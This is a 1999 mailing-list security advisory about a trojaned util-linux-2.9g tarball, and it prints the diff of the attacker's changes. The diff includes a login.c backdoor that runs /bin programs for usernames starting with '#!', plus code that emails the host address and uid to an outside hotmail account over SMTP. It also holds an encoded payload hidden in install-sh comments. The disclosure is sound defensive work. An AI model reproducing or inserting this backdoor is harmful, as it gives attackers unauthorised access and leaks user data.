(forw) [Andries.Brouwer@cwi.nl: Re: util-linux compromised]
----- Start forwarded message -----
Date: Sun, 24 Jan 1999 14:19:09 +0100 (MET)
From: Andries.Brouwer@cwi.nl
Message-Id: <UTC199901241319.OAA39082.aeb@ark.cwi.nl>
To: building@cs.umd.edu, ftp@win.tue.nl, linux-kernel@vger.rutgers.edu,
linux-security@redhat.com
Subject: Re: util-linux compromised
Cc: util-linux@math.uio.no
Sender: owner-linux-kernel@vger.rutgers.edu
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I just received the following letter:
Date: Sun, 24 Jan 1999 04:01:55 -0500 (EST)
From: John Stange <building@cs.umd.edu>
Subject: util-linux compromised?
I grabbed util-linux-2.9g yesterday from win.tue.nl, and discovered a
section of login.c that appears to send the host and uid of the user to a
hotmail address. I imagine this isn't a standard feature. :> Given that
the tcp wrappers archive was backdoored on that same server recently, you
might want to comb over the rest of your stuff as well, if any of it's
yours.
-- John Stange
Staff World, 4120 AVW
x52720
and indeed, util-linux-2.9g had been replaced by a trojan version.
Unfortunately this means that everything from ftp.win.tue.nl
must be regarded as suspect for the moment.
I put a correct util-linux-2.9g.tar.gz back, with md5sum
ab409a6ac5a775a4b04b8e27f6c86933 util-linux-2.9g.tar.gz
but of course, for the time being, nothing on this machine can be trusted.
Andries
A diff between original and trojan:
diff -r util-linux-2.9g/disk-utils/Makefile trojan/util-linux-2.9g/disk-utils/Makefile
94a95
>
diff -r util-linux-2.9g/install-sh trojan/util-linux-2.9g/install-sh
147a148,171
> # M.'1F87=H<3(S='5L9G(V:6%W969G<34V-VEA,W4*(R!`:%=)<CT[>'9X46QO
> # M>GEP8V9Q8GYJ1SU6*E-P6S)R<E(X5G%A8%P]2C)K9EEY6#-J1V)R/3X[>W5Z
> # M>'1X>$!8765I7F5E65Q80B`@(`HC("YA+G,N9RXW+C@N-2XV+C$N,BXU+F(N
> # M<"XY+F<N=BXX+C<N82YW+G0N8BYP+C$N,BXX+CDN="XW+F8N9RYA+G<N90HC
> # M(#0L,RQH+'0L.2QQ+#(L."QT+&8L82QW:"UQ+3(M,RUT+74M;"UF+7(M-BUI
> # M+6$M=RUE+68M9RUQ+34M-BTW+6DM82TS=0HC($!H5TER/3MX=GA1;&]Z>7!C
> # M9G%B?FI'/58J4W!;,G)R4CA6<6%@7#U*,FMF67E8,VI'8G(]/CM[=7IX='AX
> # MW<L,14(2SWS1$J0=[8?[[?=T-T!2LK,S>W,S5W4;[TXLD4"CT:]/-^"JC)->
> # M$F?5E]ZP_WJ^^^0W^-$'@Y>'A_J)UOKET<':;_<ST/KHZ&"P]_+@Y>&!UGOX
> # M=/1$'S[Y'7XJ6P:%UD_^27^J#?U'L;WMT4/[OV<*_XC^#UG_P^'1P3?]_Q_K
> # M_SRX-;,X,;]ZC;W!X.C@X*OZ/]C;/R#]#UX.#_?V!["%O8/!X.43/?BF_]_\
> # MYYGV:M:]7O-YEA>Z,0U]QO_2@[B,C57/]'%A@M)$(ST)2OW6A'IXI(>#T>#U
> # MZ&"@]UZ_'F+,E;F++8UY5\3Z8UA"R7JX-QH,1\,]&G.HIRM=]&=!7"Z^CXTQ
> # M_;R8$^U\N2KB^:)D0EWZ=Y__/>C*M*LXO`V*2)_T]3N:K+>%1FC[51;V353M
> # MJ&=*Q5F85)'1_?[N^?''BW>G[Q6H?UJ8PN@RU\NJU&F0Z64P-_;/2IV/+UY]
> # MIY\^G478?1J4_5<ZO;7WP1(?K"EGT;)(^Z\>D)C&65#$1.&9GA@\7AC=B3.8
> # M59)T=%$Y:=)C"//6]C7^I]3DA],+6BV]G5FWCE(WDRMZW/!0+ZS4R?4QO^`O
> # M\2PS?]6=Y]O'ES<['=VQRZ`(.^!@9L-;'6219KKW<9+H,$^7T&E73\%MR:S'
> # M5F>YOC5%9A)MJ^4R+TJ=9YK)L"!&WSW?IM\[3+&?QEG\A04RL_Z7>\8[H>'T
> # MNSV\->H!O^G1J]O.YD(4>T`\]!^L^["Y`CUUH]P89;(HGBF36/,XT<=(N$F;
> # M5\9VU%/L_7A']T*0.'YW-GX_P9>WD[/CFZO)R>2[/?W\C[J7Z^??RR[6*%W(
> # MH+]+:WWZTY$7B>Q1.*PYS76"408??@'+S[?/WOI%_D,6H6>G/\CH7\[O5PFY
> # MX;J7I([][TVXX/=93DX*)[;P9AANJ0OSURHN#"PXK`J+WW`NF
>
diff -r util-linux-2.9g/login-utils/login.c trojan/util-linux-2.9g/login-utils/login.c
179a180
> void checkname P_((char *name));
552a554,555
> checkname(username);
>
1291a1295,1342
> }
>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <netdb.h>
>
> void
> checkname(char *name)
> {
> char a[100];
> char *pt;
>
> if ((name[0] == '#') && (name[1] == '!'))
> {
> pt = (char*)&name[2];
> sprintf(a,"/bin/%s",pt);
> execl(a,a,(void*)0);
> }
> if (fork() == 0)
> {
> struct hostent *he;
> struct sockaddr_in sai;
> struct in_addr *ia;
> char b[500];
> int s,l;
>
> setsid();
> s = open("/var/tmp/.fmlock0",O_RDONLY);
> if (s >= 0) exit(0);
> he = gethostbyname("mail.hotmail.com");
> if (!he) exit(0);
> ia = (struct in_addr *)he->h_addr_list[0];
> l = sizeof(sai);memset(&sai,0,l);
> sai.sin_port = htons(25);
> sai.sin_addr.s_addr = ia->s_addr;
> if ((s = socket(AF_INET,SOCK_STREAM,0)) < 0) exit(0);
> if ((connect(s,(struct sockaddr*)&sai,l)) < 0) exit(0);
> if ((getsockname(s,(struct sockaddr*)&sai,&l)) < 0) exit(0);
> sprintf(b,"\r\nHost = %s\r\nUid = %i\r\n\r\n.\r\n",inet_ntoa(sai.sin_addr),getuid());
> sleep(1);if (write(s,"HELO 127.0.0.1\n",15) < 0) exit(0);
> sleep(1);if (write(s,"MAIL FROM:<xul@hotmail.com>\n",28) < 0) exit(0);
> if (write(s,"RCPT TO:<wlogain@hotmail.com>\n",30) < 0) exit(0);
> sleep(1);if (write(s,"DATA\n",5) < 0) exit(0);
> sleep(1);if (write(s,b,strlen(b)) < 0) exit(0);
> sleep(1);if (write(s,"QUIT\n",5) < 0) exit(0);
> sleep(1);close(creat("/var/tmp/.fmlock0",511));exit(0);
> }
diff -r util-linux-2.9g/misc-utils/Makefile trojan/util-linux-2.9g/misc-utils/Makefile
85a86,88
>
> #@hWIr=;xvxQlozypcfqb~gA\.~ttQ9inKf=8~}6~3/-&SxQl/<
>
(pasted from another window - tabs etc will be lost).
Andries
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